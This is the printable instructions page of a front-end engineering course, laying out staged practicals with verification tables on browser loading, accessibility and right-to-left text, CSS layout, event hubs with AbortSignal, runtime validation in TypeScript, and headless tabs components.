This is the multi-page printable view of this section. .
Frontend Playground
- 1: Browser Observation and Measured Virtualization
- 2: Accessible Multilingual Interface and Composite Controls
- 3: Intrinsic, Container-Aware Dashboard
- 4: Abortable Event Hub and Asynchronous Control
- 5: Runtime-Validated Data Boundary and Typed Event Hub
- 6: Compound Headless Tabs and Component State Boundaries
- 7: Reactive Dependency Graph and State Derivation
- 8: URL-Driven State Architecture and Form Boundaries
- 9: Cached Server-State Client with Optimistic Mutations
- 10: Offline Outbox and Resilient Synchronization
- 11: Rendering Topology Comparison: CSR, SSR, and Static Delivery
- 12: Inspect a Modern Front-End Toolchain and Module Graph
- 13: Security Boundary Review: XSS, CORS, and Authentication Boundaries
- 14: Design-System Package Governance and Ownership Mapping
- 15: Measure, Diagnose, and Optimize Core Web Vitals
- 16: Resilient UI Integration Suite
- 17: Delivery, Observability, and Rollback Loop
- 18: Make and Defend an Architecture Decision
The Playground contains the guided practical work for the book. The runnable source code will live in a separate companion repository; this site contains the instructions, verification criteria, and links back to the relevant chapters.
Practical work
Companion code
The companion repository will contain the runnable Vite and TypeScript projects, checkpoints, tests, and reference implementations. This repository deliberately keeps those implementation files separate from the book and its practical instructions.
1 - Browser Observation and Measured Virtualization
Practical 01 - Browser Observation and Measured Virtualization
Related: Chapter 1 · Lecture slides
Objective
Explain how one small page loads and responds using evidence from browser tools. Predict what will happen, change one variable, and connect the result to resource discovery, parsing, scheduling, or rendering. The core exercise does not require a framework, TypeScript, or a virtual list.
Prerequisites and setup
You need basic HTML, CSS, JavaScript, and a browser with developer tools. Use a local static HTTP server you already know; if Python is installed, python -m http.server 8000 from the exercise folder is sufficient. Visit http://localhost:8000/ rather than opening the HTML through file:. Module loading needs a suitable served context.
Create this folder as your own exercise project:
Copy the chapter’s full running-example HTML into index.html. Supply an image you may use, adjust its alternative text and dimensions, and make sure the URL returns successfully. Add simple styles for the page and list; start list items with a width other than 300px. Keep the page free of service workers and third-party code.
Initially, legacy.js should only log whether the heading exists. In app.js, use a deferred script to connect the button and update the status. Replace those implementations as each stage requests; do not accumulate every experiment in one file.
Record the browser/version, viewport, cache setting, and network/CPU throttling. Disable the HTTP cache for the first discovery comparisons where the tool allows it, and keep DevTools open if that setting depends on it. Repeat important comparisons at least three times under the same conditions. Keep debugger pauses out of timing captures.
Stage 1 - Trace discovery
Load the unmodified page and record the document, stylesheet, both scripts, and image in Network. Inspect the initiator and start time of each request. Do not assume that request order equals execution order.
Next, remove the image from the HTML and create it in a timer callback after a requested two-second delay. Keep its URL and content unchanged. Ensure no preload, CSS reference, or second image reveals that URL earlier.
Verify: the markup version can discover the image directly; the script version depends on the callback assigning src. Capture a waterfall or timing table for both runs. The delay is not an exact scheduling guarantee. If the result is obscured by caching or another reference, identify that cause and repeat the comparison.
Stage 2 - Separate script readiness from document readiness
Temporarily remove the extra blocking script and use one external probe script in the head. Test it as classic, defer, async, and module, one declaration per run. Keep the probe free of imports and top-level await for this comparison.
Log its execution time, document.readyState, and whether h1 exists. Register separate DOMContentLoaded and window load listeners in an inline script placed before the probe so their registration does not depend on the probe’s mode.
Then restore the original stylesheet-plus-classic-script combination. If the browser provides local response throttling or overrides, delay the stylesheet and investigate whether it holds up script execution. Treat this last comparison as optional when the tooling cannot isolate the delay.
Verify: the classic head script runs before the later heading is parsed; deferred and default-module probes can access it. Async timing may vary. An async script observed after parsing in every trial still has no general after-parsing guarantee. Explain the distinction between downloading, executing, finding a DOM node, and presenting pixels.
Stage 3 - Predict callback order and inspect a slow interaction
First run this code as a single script:
Write your prediction before running it. Then explain the observed one, five, three, four, two order using synchronous execution, microtask enqueue order, and a later timer task.
Next use the chapter’s bounded 200 ms slow click handler in app.js. Record a performance trace while activating the button once. Observe whether the intermediate “Working…” value is presented and locate the handler’s execution. Run the bounded microtask-chain example separately if you want to compare its order with a timer.
Verify: identify the callback order and the approximate interval occupied by the slow handler. Explain why a DOM change need not be painted before the next statement, and why neither a Promise nor async automatically moves computation off the main thread. A trace need not expose every compositor event to support those observations.
Stage 4 - Compare rendering work
Create a few hundred noninteractive list items containing ordinary text. Record a width change, restore the initial state, and record a transform. These produce different visual effects; compare work categories rather than declaring one an equivalent faster implementation.
Now compare the chapter’s interleaved write/read loop with its batched alternative. Reset all rows to the same starting width before each run. Keep row count, viewport, and recording conditions unchanged, and exclude setup/reset work from the measured interval where possible.
Verify: report JavaScript, style, layout, and paint work where the profiler exposes it. State whether repeated layout was visible and whether batching changed it. If the difference is too small or the trace too coarse to interpret, report that limit. Do not infer universal speed, a fixed frame rate, or zero layout from one run.
What to submit
For each core comparison, include one row in this evidence table:
| Change | Prediction | Observed evidence | Explanation | Limit or confounder |
|---|---|---|---|---|
| Describe one controlled change | State the expected dependency or order | Record trace events, logs, or timings | Connect the evidence to the chapter | Note caching, tool limits, or unexplained variation |
Also include the setup conditions and a diagram connecting discovery, parsing, scripts, DOM, style/layout, presentation, and later input. Distinguish required dependencies from timing that may vary. Explain one observation that differed from your initial expectation.
Completion means you can justify the explanation from your evidence - not that every trace matches the chapter’s conceptual diagrams.
When an experiment gives an unexpected result
- No new image request: check the cache indication, URL, earlier references, and whether the delayed callback ran.
- Module does not execute: check Console and Network for path, MIME-type, or serving problems.
- Every async run looks ordered: vary resource timing if possible; observations do not create an execution-order guarantee.
- No visible “Working…” state: that is compatible with the handler preventing an intermediate presentation, not proof the assignment failed.
- No layout difference: verify that the initial width differs from the target, rows exist, and setup was excluded. Keep a null result if the evidence does not justify a stronger claim.
Optional extension - A fixed-height virtual list
After completing the observation work, compare a full list with a version that renders a visible window plus a small buffer. Use fixed-height rows first. Document the dataset, viewport, row count in the DOM, and how scroll position maps to the rendered range.
Check the first and last items, resizing, fast scrolling, and preservation of item order and scroll extent. If rows become interactive, explain what happens when a focused row would leave the rendered range. Evaluate keyboard use and the information available to assistive technologies; rendering fewer nodes alone does not prove accessibility or a performance improvement.
Measure before and after using the same interaction and conditions. Keep this extension optional even if the full list is already fast. Continue with Chapter 15 and Practical 15 for deeper profiling. Variable-height measurement, ResizeObserver, and scroll anchoring belong to a later extension because they introduce additional geometry and state-management problems.
2 - Accessible Multilingual Interface and Composite Controls
Practical 02 - Accessible Multilingual Interface and Composite Controls
Related: Chapter 2 · Lecture slides
Objective
Build a resilient, fully accessible public-service portal that demonstrates the platform relationship between semantic HTML, the accessibility tree, internationalization, and live DOM event handling.
You will establish a native selection baseline first using standard HTML controls, prove that the interface is completely operable via keyboard with explicit labeling and validation, handle mixed English and Kurdish/Arabic directional text, and implement delegated DOM events. As an optional extension, you will implement an accessible composite widget (a custom multi-select listbox) with roving tabindex.
Prerequisites and setup
You need basic HTML, CSS, JavaScript, and a browser with developer and accessibility inspection tools (e.g. Chrome/Firefox Accessibility Tree inspection panel). Serve the exercise locally using any local static HTTP server (e.g., python -m http.server 8000 or npx serve .):
Create this folder structure:
Ensure your stylesheet includes a distinct, high-contrast :focus-visible outline. Keep third-party UI libraries or CSS frameworks out of the project; all behaviors and styles must be native.
Stage 1 - Establish semantic landmarks and native selection baseline
Construct the core portal page containing:
- A
<header>with site title and a<nav aria-label="Primary">containing navigation links. - A single
<main>landmark with a logical heading structure (<h1>$\rightarrow$<h2>). - A service request form using native interactive controls:
- A native
<select id="service-type" name="service" required>dropdown with options for different certificate requests. - A
<fieldset>with a<legend>containing radio buttons for submission urgency (Standard vs Express). - A
<button type="submit">element.
- A native
- A recent-requests
<table>with a<caption>, explicit header scopes (<th scope="col">and<th scope="row">), and sample rows. - A
<footer>containing organizational metadata.
Verify: Disable CSS in your browser. Verify that the document outline, landmarks, form controls, and table data remain immediately understandable and navigable.
Stage 2 - Programmatic labeling, keyboard operability, and error association
Enhance the form with comprehensive accessibility associations:
- Ensure every control has an explicit
<label for="...">matching the input’sid. - Add a multiline
<textarea id="notes" name="notes" required>for applicant statements. - Configure explicit error association: add a dedicated
<p id="notes-error" role="alert" hidden></p>element. - Connect the error container to the input via
aria-describedby="notes-error notes-hint". - In
app.js, intercept form submission. If the textarea is empty, markaria-invalid="true", populate the error text, unhide the container, and programmatically move focus to the invalid field.
Verify: Navigate the entire page using only the Tab, Shift+Tab, Space, and Enter keys. Confirm that:
- Every control receives a visible focus indicator.
- No interactive element requires a mouse to activate.
- Form validation errors are programmatically announced by screen-reader tools when triggered.
Stage 3 - Multilingual content, directionality, and event delegation
Introduce internationalization and live DOM manipulation:
- Declare the primary document language on
<html>(lang="en" dir="ltr"). - On the notes field, configure
dir="auto"so citizen statements written in Central Kurdish (ckb) or Arabic (ar) automatically align right-to-left. - In the recent requests table, render multilingual rows. Use
<bdi>to isolate user-submitted RTL statements so they do not scramble adjacent reference codes or punctuation. - In
app.js, implement a dynamic row addition feature upon form submission. Use safe DOM methods (document.createElement,textContent,append) rather than rawinnerHTML. - Add an action button (
<button type="button" data-action="cancel">) to each table row. Instead of attaching a listener to every button, attach one listener to the<tbody>element and useevent.target.closest('button[data-action="cancel"]')to handle cancellations via event bubbling. - Expose dynamic updates to assistive devices using a live region (
role="status"andaria-live="polite").
Verify: Add an entry containing Arabic or Kurdish text alongside English IDs. Confirm that text direction is properly isolated and that clicking dynamic buttons triggers the delegated handler correctly.
Stage 4 (Optional Extension) - Composite multi-select listbox
Only after completing Stages 1–3, evaluate whether a custom widget is justified. Build an enhanced multi-select listbox:
- Create a container with
role="listbox",aria-multiselectable="true", andaria-label="Available services". - Inside, render child options with
role="option"andaria-selected="false". - Implement roving
tabindex:- The currently focused option has
tabindex="0"; all other options havetabindex="-1". - Pressing
DownArroworUpArrowmoves focus and updatestabindex="0"to the next or previous option without scrolling the page. Homemoves focus to the first option;Endmoves to the last option.Spacetoggles the selection state (aria-selected="true|false").
- The currently focused option has
- Preserve the native
<select multiple>as a fallback.
Verify: Inspect the accessibility tree in DevTools. Verify that the custom listbox exposes correct roles, options, and selection states, and that navigating via Tab treats the listbox as a single tab stop.
What to submit
Document your implementation by submitting the completed project files (index.html, styles.css, app.js) and filling out this verification table:
| Verification Target | Requirement | Observed Evidence | Explanation | Confounders or Limits |
|---|---|---|---|---|
| Document Hierarchy | Logical h1-h2 structure and landmarks | Accessibility tree snapshot | Document outline exposes clean landmarks | Checked in Chrome/Firefox DevTools |
| Keyboard Navigation | 100% operable without mouse; visible focus | Tab progression sequence | :focus-visible styling provides clear indicator | Verified with keyboard only |
| Form Validation | Error announced via aria-describedby | Accessibility tree inspection | aria-invalid="true" set upon empty submit | Browser native validation disabled for test |
| Internationalization | <bdi> isolates mixed LTR/RTL content | Visual alignment test | Text punctuation remains intact across scripts | Tested with Central Kurdish / Arabic input |
| Event Delegation | Single listener handles dynamic rows | Console event logs | event.target.closest() captures row action | Event bubbling through <tbody> |
When an experiment gives an unexpected result
- No focus ring visible: Verify that your CSS does not contain
outline: nonewithout a matching:focus-visibledeclaration. - Screen reader does not announce validation error: Check that the error container has
role="alert"oraria-live="assertive", and thataria-describedbymatches the error element’s exactid. - RTL text scrambles adjacent numbers: Confirm that the user string is wrapped inside
<bdi>or hasdir="auto". - Delegated click listener does not fire: Check whether
event.target.closest(...)selector matches the button, and ensure the event is allowed to bubble (i.e.stopPropagation()was not called on a child element).
3 - Intrinsic, Container-Aware Dashboard
Practical 03 - Intrinsic, Container-Aware Dashboard
Related: Chapter 3 · Lecture slides
Objective
Build a resilient, responsive executive dashboard that demonstrates CSS as an architectural system. You will implement an explicit cascade layer stack, establish a 3-tier design token hierarchy, construct an adaptive 2D Grid shell with Subgrid card alignment, and implement container queries that allow components to adapt to their immediate container space rather than relying exclusively on viewport media queries.
Finally, you will verify that the interface seamlessly supports bidirectional internationalization (ltr $\leftrightarrow$ rtl), accommodates extreme text variations without overflow, and functions reliably under 200% browser zoom without JavaScript resize listeners.
Prerequisites and setup
You need an HTML editor, a modern browser with Developer Tools (supporting CSS Grid, Subgrid, and Container Queries), and a local HTTP server.
Create your project workspace:
Do not install CSS frameworks (such as Tailwind or Bootstrap) or JavaScript layout libraries. All layout, adaptation, and layer boundaries must be constructed using native CSS.
Stage 1 - Architectural cascade layers and 3-tier design tokens
Establish a predictable precedence hierarchy and design token system in styles.css:
- Declare your cascade layer stack at the very top of the stylesheet:
- In
@layer tokens, construct a 3-tier token hierarchy using CSS custom properties:- Tier 1 (Raw Foundation): Primitive color palettes, spacing units, and radius values (e.g.
--blue-600: #005a9c;,--space-4: 1rem;). - Tier 2 (Semantic Context): Meaning-based tokens mapped to raw values (e.g.
--color-primary: var(--blue-600);,--color-surface: #ffffff;,--space-card-padding: var(--space-4);). - Tier 3 (Component-Scoped): Component-specific parameters that can be overridden locally (e.g.
--card-border-color: var(--color-border);).
- Tier 1 (Raw Foundation): Primitive color palettes, spacing units, and radius values (e.g.
- Add dark-mode theme adaptation via
prefers-color-scheme: darkby updating semantic tokens at the:rootlevel. - In
@layer reset, apply universalbox-sizing: border-box, remove default margins, and ensure media elements havemax-inline-size: 100%.
Verify: Inspect the styles in browser DevTools. Confirm that layers are recognized in the Styles pane and that modifying a single semantic token (such as --color-primary) updates all consuming components across the interface.
Stage 2 - 2D Grid layout and card alignment with Subgrid
Build the page architecture and product catalog in index.html:
- Structure the layout shell using CSS Grid with named areas:
headerspanning the top row.sidebaron the inline-start side (minmax(14rem, 18rem)).mainoccupying remaining space (1fr).- At small viewport widths (under
48rem), collapse the grid into a single vertical column.
- In the main catalog section, construct a responsive card grid using auto-placement:
- Populate three sample cards with intentionally unequal content:
- Card 1: Single-line title, one-sentence description.
- Card 2: Three-line title, four-sentence detailed description.
- Card 3: Two-line title, two-sentence description.
- Apply Subgrid to each card (
grid-row: span 3; grid-template-rows: subgrid;) so that card titles share Row 1, descriptions share Row 2, and action buttons snap to Row 3 along a shared horizontal baseline.
Verify: Inspect the cards visually and with DevTools Grid overlay. Confirm that despite varying description lengths, all card action buttons remain strictly aligned across each grid row without hardcoded element heights.
Stage 3 - Container queries and fluid sizing
Make components context-aware rather than screen-aware:
- Configure the sidebar container as a queryable container:
- Build a summary metric card (
.stat-card). Place one instance of this card inside the main content area and a second instance inside the narrow sidebar. - Use a container query to adapt the card’s layout:
- When container width is under
260px, render the metric and label in a stacked vertical layout with compact typography. - When container width exceeds
260px, render the metric and label horizontally with expanded spacing.
- When container width is under
- Replace rigid heading font sizes with fluid typography using
clamp():
Verify: Resize the browser window and drag the sidebar boundary. Confirm that the card in the sidebar switches layout based on the sidebar’s width, while the card in the main area remains in its expanded layout.
Stage 4 - Logical properties, bidirectional layout, and stress testing
Ensure internationalization resilience and edge-case durability:
- Audit
styles.cssto verify that no physical coordinates (margin-left,padding-right,left,right) are used. Replace all instances with logical equivalents (margin-inline-start,padding-inline-end,inset-inline-start). - Add a language/direction toggle button (or manually set
<html lang="ckb" dir="rtl">):- Confirm that the sidebar automatically flips to the right side.
- Confirm that navigation links, card padding, and button icons flip orientation without writing a single
[dir="rtl"]override rule.
- Stress Tests:
- Unbroken String: Insert a 45-character unbroken alphanumeric reference code (e.g.
DOC-REQ-7894239847293847293847293847298374928374) into a card title. Verify thatoverflow-wrap: break-word;prevents horizontal layout blow-out. - Browser Zoom: Zoom the browser viewport to 200%. Verify that navigation and cards stack gracefully without overlapping text or clipping content.
- Unbroken String: Insert a 45-character unbroken alphanumeric reference code (e.g.
What to submit
Submit your index.html and styles.css along with a completed verification report:
| Target | Requirement | Observed Evidence | Explanation | Confounders or Limits |
|---|---|---|---|---|
| Cascade Layers | Explicit precedence across @layer stack | DevTools Layers inspection | Utility rules override component styles; layer order verified | Inspected in Chrome/Firefox |
| Subgrid Alignment | Cards align titles, text, and buttons | Grid overlay screenshot | All card buttons share identical row datum | Browser must support CSS Subgrid |
| Container Queries | Component adapts to sidebar vs main area | Sidebar width test | Card switches layout at 260px container boundary | Verified independently of viewport |
| Logical Properties | Zero physical directional overrides | RTL toggle test (dir="rtl") | Sidebar, card paddings, and alignment flip automatically | Checked with Central Kurdish / Arabic |
| Edge-Case Resilience | 200% zoom and unbroken strings | Zoom & long-string test | No horizontal scrollbars; text wraps cleanly | Tested under extreme text length |
When an experiment gives an unexpected result
- Subgrid does not align children: Ensure the parent grid has explicit rows (e.g.
grid-auto-rows: auto 1fr auto;) and that each child card declaresgrid-row: span 3; grid-template-rows: subgrid;. - Container query does not fire: Check that
container-type: inline-size;is applied to an ancestor container of the component, and that the query references the correct container name. - Component overflows its grid column: Ensure that grid tracks use
minmax(min(100%, 16rem), 1fr)or that child containers havemin-inline-size: 0;to prevent min-content blowout. - RTL layout fails to mirror margins: Check whether legacy physical properties (
margin-leftormargin-right) were accidentally used instead ofmargin-inline-startandmargin-inline-end.
4 - Abortable Event Hub and Asynchronous Control
Practical 04 - Abortable Event Hub and Asynchronous Control
Related: Chapter 4 · Lecture slides
Objective
Build a framework-agnostic, publish-subscribe event hub in modern JavaScript that manages decoupled communication across application modules.
You will implement private state encapsulation using closures, support single-operation listener teardown using AbortSignal, isolate listener errors so that a failure in one subscriber cannot prevent others from executing, and eliminate race conditions in asynchronous requests.
Prerequisite Notice: This laboratory is implemented entirely in pure modern JavaScript (ES Modules). To maintain dependency order, compile-time TypeScript contracts for event names and payload shapes will be introduced as an optional extension in Chapter 5.
Prerequisites and setup
You need a modern browser with Developer Tools or a current Node.js runtime supporting ES Modules (Node 18+).
Create your exercise workspace:
Do not import third-party event libraries (such as EventEmitter or RxJS). All subscription mechanics, signal handling, and scheduling must be constructed from platform primitives.
Stage 1 - Core publish-subscribe engine with closure encapsulation
In event-hub.js, implement a factory function createEventHub() that uses closures to maintain private subscriber state:
- Maintain an internal
Map<string, Set<Function>>mapping event names to sets of subscriber callbacks. Do not expose this map directly on the returned object. - Implement the core subscription and dispatch methods:
on(event, listener): Adds a listener to the set. Returns a parameterlessunsubscribe()function that removes the listener.off(event, listener): Explicitly removes a listener from the specified event.emit(event, payload): Iterates over a copy of the active subscriber set and invokes each listener withpayload.
- Ensure that calling
unsubscribe()multiple times or callingoff()with an unregistered listener fails gracefully without throwing.
Verify: Write a test script in app.js subscribing three distinct listeners to a service:selected event. Emit the event with an ID payload, verify all three receive the payload, unsubscribe the second listener, emit again, and confirm only the remaining two listeners execute.
Stage 2 - Cooperative cancellation and teardown with AbortSignal
Extend on() to support standard web platform cancellation options:
- The
onceOption: Ifonce: trueis passed, wrap the listener so it automatically unregisters itself immediately upon its first execution before invoking the user callback. - The
signalOption: If anAbortSignalis supplied:- If the signal is already aborted (
signal.aborted === true), return immediately without registering the listener. - Otherwise, attach an
abortevent listener to the signal that automatically cleans up and removes the subscription whensignal.abort()is triggered. - Ensure that if the subscription is manually removed via
unsubscribe()oronce, the internalabortlistener on the signal is also removed to prevent memory leaks.
- If the signal is already aborted (
Verify: Create an AbortController. Register three different subscriptions (e.g. for window resize, modal status, and data sync) passing { signal: controller.signal }. Call controller.abort(). Emit events on all channels and confirm that none of the aborted listeners execute.
Stage 3 - Listener error isolation and microtask dispatch
In standard synchronous event dispatching, if listener 1 throws an unhandled error, execution halts immediately, and listeners 2 and 3 never receive the event.
Harden emit() against subscriber exceptions:
- Wrap individual listener invocations in a
try...catchboundary: - Implement an asynchronous variant
emitAsync(event, payload)that dispatches subscriber notifications as microtasks (queueMicrotaskorPromise.resolve().then()) to prevent long listener tasks from blocking the caller.
Verify: Register three listeners for data:mutation. Configure the second listener to deliberately throw new Error("Database write failed"). Emit the event. Verify that Listener 1 and Listener 3 execute successfully and that the error from Listener 2 is logged to the diagnostic console.
Stage 4 - Live search integration and race-condition elimination
In search-service.js and app.js, build a live citizen service search component using your event hub:
- Maintain an active
AbortControllerin module scope. - When the user types into an input field:
- Debounce input events by 300ms using a closure-based debounce utility.
- If a previous network request is active, invoke
activeController.abort(). - Create a new
AbortControllerand pass itssignaltofetch('/api/services?q=...'). - When the request starts, emit
search:starton the hub. - If the fetch resolves with valid data, emit
search:successwith the results. - If the fetch throws
AbortError, emitsearch:abortedand do not touch the UI. - If the fetch throws any other error, emit
search:error.
- In
app.js, subscribe UI renderers tosearch:successand status banners tosearch:start/search:error.
Verify: Simulate a slow request (800ms) for "res" followed immediately by a fast request (150ms) for "residence". Verify that:
- The
"res"request is aborted cleanly viaAbortController. - The UI never displays stale
"res"results. - The event hub logs the cancellation as expected control flow without throwing unhandled exceptions.
What to submit
Submit your implementation files (event-hub.js, search-service.js, app.js) and a completed verification report:
| Target | Requirement | Observed Evidence | Explanation | Confounders or Limits |
|---|---|---|---|---|
| Closure Privacy | Subscriber map not directly accessible | Inspection of hub object | Private map encapsulated within factory closure | Tested via Object.keys() |
AbortSignal Teardown | All listeners removed on controller.abort() | Post-abort emit test | Event listener count drops to 0; no notifications fired | Verified with active signal |
| Error Isolation | Thrown error in one listener does not halt others | Fault injection test | Listeners 1 & 3 complete despite Listener 2 throwing | Logged via reportError |
| Race Prevention | Stale async requests do not overwrite UI | Out-of-order latency test | AbortError caught; only newest search updates DOM | Simulated network delays |
When an experiment gives an unexpected result
- Aborted listener still runs: Ensure
signal.addEventListener('abort', ...)is correctly bound and that the cleanup function removes the exact reference from theSet. - Memory leak warning with signals: If an event hub subscription is removed manually before
signal.abort()is called, ensure you also callsignal.removeEventListener('abort', cleanup)to release the signal reference. fetch()does not cancel: Confirm that you are passing{ signal: controller.signal }in the options object offetch(url, options), and that your mock server or test environment supportsAbortSignal.- Listeners execute in unexpected order: In JavaScript,
Setpreserves insertion order. Modifying or re-registering listeners can alter invocation sequence.
5 - Runtime-Validated Data Boundary and Typed Event Hub
Practical 05 - Runtime-Validated Data Boundary and Typed Event Hub
Related: Chapter 5 · Lecture slides
Objective
Build a resilient API trust boundary in TypeScript that ingests unknown external data, enforces runtime validation before types are asserted, transforms verified input into trusted domain records, and surfaces user-friendly diagnostics when contracts fail.
You will test your boundary against a rigorous matrix of valid, malformed, incomplete, and unexpected payloads. Furthermore, you will connect this laboratory to Chapter 4 by upgrading the pure JavaScript event hub with compile-time generic event maps.
Prerequisites and setup
You need Node.js (v18+) and the TypeScript compiler (tsc).
Create your exercise workspace:
Ensure your tsconfig.json enforces full strictness:
Do not use as SomeType type assertions to bypass validation. Every domain record must be proven at runtime before it can enter application state.
Stage 1 - Model domain records and discriminated results
In src/types.ts, define your domain models using discriminated unions:
Stage 2 - Implement the runtime parser and test matrix
In src/boundary.ts, implement a validation parser parseServiceRecord(raw: unknown): Result<ServiceRecord, BoundaryError>. You may implement this with explicit property checks or with a schema parsing library (such as Zod).
Execute the parser against a four-case test matrix:
- Valid Case:Expected: Returns
{ ok: true, data: ServiceRecord }. - Malformed Case:Expected: Fails schema validation with specific messages indicating
feeIqdmust be a number andisAvailablemust be a boolean. - Incomplete Case:Expected: Fails schema validation reporting missing required fields (
name,feeIqd,isAvailable). - Unexpected Backend Case:Expected: Correctly identified as an incompatible schema without crashing with a
TypeError.
Verify: Run tsc --noEmit. Verify that result.data is completely inaccessible on { ok: false } branches, and that narrowing on result.ok permits safe access to all domain fields.
Stage 3 - Distinguish transport failures from schema failures and surface to UI
In src/app.ts, coordinate network fetching, validation, and DOM updates:
- Differentiate network disconnects and HTTP 500 errors (
kind: 'transport') from schema decoding errors (kind: 'schema'). - Surface appropriate feedback to the user:
- Transport Errors: Inform the user: “Network connection unavailable. Please check your connection and retry.”
- Schema Errors: Inform the user: “Service record received in an unrecognized format. Our technical team has been alerted.” Log detailed structural issues to the console without exposing sensitive internals to the user interface.
Verify: Trigger each error condition in the browser UI. Verify that error messages are rendered inside an accessible container (role="alert" or aria-live="polite").
Stage 4 (Chapter 4 Extension) - Strongly typed event hub
Extend the publish-subscribe event hub from Practical 04 with a compile-time generic contract:
Verify: In src/app.ts, instantiate createTypedEventHub<CitizenEventMap>().
- Verify that
hub.emit('search:start', { query: 'res', timestamp: Date.now() })compiles cleanly. - Verify that
hub.emit('invalid:channel', {})fails compilation with an invalid event name error. - Verify that
hub.emit('search:start', { query: 123 })fails compilation due to mismatched payload shape.
What to submit
Submit your TypeScript source files (src/types.ts, src/boundary.ts, src/event-hub.ts, src/app.ts) and a completed verification report:
| Target | Requirement | Observed Evidence | Explanation | Confounders or Limits |
|---|---|---|---|---|
| Type Erasure Awareness | Zero as assertions on external JSON | Code audit of boundary.ts | All JSON parsed through runtime validator | Checked via compiler |
| Payload Matrix | All 4 test cases handled predictably | Test runner output | Valid parsed; malformed/incomplete/error rejected | Tested in test harness |
| Error Differentiation | Transport vs schema errors separated | UI error snapshot | User receives actionable context; diagnostics logged | Network throttled in DevTools |
| Typed Event Hub | Compile-time check on events & payloads | tsc --noEmit failure test | Invalid event names and payloads rejected by tsc | Verified against EventMap |
When an experiment gives an unexpected result
- TypeScript permits reading invalid properties: Ensure you did not cast the fetch result as
anyor useas ServiceRecord. Input must remainunknownuntil narrowed. BoundaryErrorinstanceof check fails: When compiling TypeScript to older targets (ES5), subclassingErrorcan break prototype chains. Ensure"target": "ES2022"is configured intsconfig.json.- Optional properties become undefined: Remember that
noUncheckedIndexedAccess: truerequires checking whether array items or dynamic dictionary keys are defined before accessing their properties.
6 - Compound Headless Tabs and Component State Boundaries
Practical 06 - Compound Headless Tabs and Component State Boundaries
Related: Chapter 6 · Lecture slides
Objective
Build a resilient, headless compound tabs system that decouples interaction state machine logic, keyboard navigation, and WAI-ARIA semantics from presentation and styling.
You will implement:
- A compound component hierarchy (
Tabs,TabsList,Tab,TabPanel) sharing state without prop drilling. - A dual controlled and uncontrolled state contract that prevents ambiguous state ownership.
- A robust WAI-ARIA accessible keyboard contract featuring roving
tabindex, automatic/manual activation modes, and bidirectional panel associations. - Independent verification confirming that consumer styling can change freely without breaking behavioral guarantees.
Prerequisites and Workspace Setup
You need Node.js (v18+) and a modern front-end build environment (such as Vite with TypeScript and React or Vue 3).
Initialize your practical workspace:
Ensure your TypeScript configuration enforces strict type checks ("strict": true).
Stage 1 - Decompose Compound Responsibilities
Deconstruct the tabs widget into four distinct component boundaries. Each component must own a single, cohesive responsibility:
flowchart TD
Root["Tabs (Root Coordinator)\n• Owns/receives selection state\n• Holds orientation & activation mode\n• Exposes shared Context"]
List["TabsList (Navigation Container)\n• Renders role='tablist'\n• Sets aria-orientation\n• Scopes keyboard arrow events"]
TabBtn["Tab (Interactive Trigger)\n• Renders role='tab'\n• Manages roving tabIndex (0 or -1)\n• Binds aria-selected & aria-controls\n• Handles focus & selection triggers"]
Panel["TabPanel (Content Region)\n• Renders role='tabpanel'\n• Binds aria-labelledby to Tab ID\n• Controls visibility (hidden when inactive)"]
Root --> List
Root --> Panel
List --> TabBtnComponent Contract Definitions
In src/types.ts, define your public contracts:
Stage 2 - Controlled vs. Uncontrolled State Machine
A component must never exist in an ambiguous half-controlled state. Implement a unified state hook useTabsState that honors the state ownership contract:
- Uncontrolled Mode: If
props.valueisundefined, internal state is initialized toprops.defaultValue(or the first registered tab) and managed locally. - Controlled Mode: If
props.valueis defined, the component derives its active selection strictly fromprops.value. When user interactions trigger a selection, the component delegates the update viaprops.onValueChange(newValue).
Verify that passing both value and defaultValue does not trigger uncontrolled state overwrites, and that controlled updates propagate without lag or double-render cycles.
Stage 3 - Implement the WAI-ARIA and Keyboard Contract
The WAI-ARIA Tabs pattern requires strict accessibility attributes and precise keyboard behavior.
1. ARIA Relationship Wiring
For every tab and panel pair, establish explicit cross-linking IDs:
- The
Tabelement must renderid={tab-${value}}andaria-controls={panel-${value}}. - The
TabPanelelement must renderid={panel-${value}}andaria-labelledby={tab-${value}}. - When active, the
Tabsetsaria-selected="true". Inactive tabs setaria-selected="false". - Inactive
TabPanelcontainers must have the HTMLhiddenattribute applied.
2. Roving tabindex Focus Management
Tabs must not all be focusable with the Tab key:
- The currently selected tab has
tabIndex={0}. - All unselected tabs have
tabIndex={-1}. - When a keyboard user presses
Tab, focus lands only on the active tab. PressingTabagain moves focus completely out of the tablist (into the active panel or the next document control).
3. Arrow Key Navigation
Implement keyboard handling in TabsList:
- Horizontal Orientation:
ArrowRightfocuses the next enabled tab;ArrowLeftfocuses the previous enabled tab. - Vertical Orientation:
ArrowDownfocuses the next enabled tab;ArrowUpfocuses the previous enabled tab. - Navigation Extremes:
Homefocuses the first tab;Endfocuses the last tab. - Wrapping: Moving past the end wraps focus to the beginning (and vice versa).
- Activation Mode:
- In
automaticmode, focusing a tab via Arrow keys immediately selects it and displays its panel. - In
manualmode, moving focus with Arrow keys does not change the active panel until the user pressesEnterorSpace.
- In
Stage 4 - Verification Matrix and Optional Extensions
Verification Matrix
Execute the following test cases to confirm architectural integrity:
| # | Action | Expected Observable Result | Status |
|---|---|---|---|
| V1 | Press Tab from preceding document control | Focus lands on the currently active tab only (tabIndex="0"). All other tabs report tabIndex="-1". | |
| V2 | Press ArrowRight (in horizontal automatic mode) | Focus shifts to the next tab, aria-selected="true" moves to it, and its associated TabPanel becomes visible while the previous panel receives hidden. | |
| V3 | Press End key | Focus jumps directly to the final tab in the list. | |
| V4 | Switch to controlled mode (value="tab2") | The second tab is active. Calling external setter changes selection without internal state desync. | |
| V5 | Strip all visual CSS classes | The component functions completely identically: keyboard traversal, ARIA announcements, and panel switching remain intact. |
Optional Extensions
- Disabled Tabs: Add a
disabledboolean prop toTab. Ensure disabled tabs receivearia-disabled="true", cannot be activated via click/Enter, and are gracefully skipped during Arrow key traversal. - Lazy Panel Loading: Enhance
TabPanelwith alazyprop. Whentrue, panel contents are not mounted in the DOM until the tab is selected for the first time.
Evaluation Rubric
| Criterion | Exemplary (4) | Proficient (3) | Developing (2) | Inadequate (1) |
|---|---|---|---|---|
| Decomposition & API Design | Clean compound components sharing context; consumer has full markup and styling freedom; zero boolean prop clutter. | Compound hierarchy used, but leaks presentation details into root props. | Flat component requiring large configuration object or array of tabs. | Single monolithic component with hard-coded markup. |
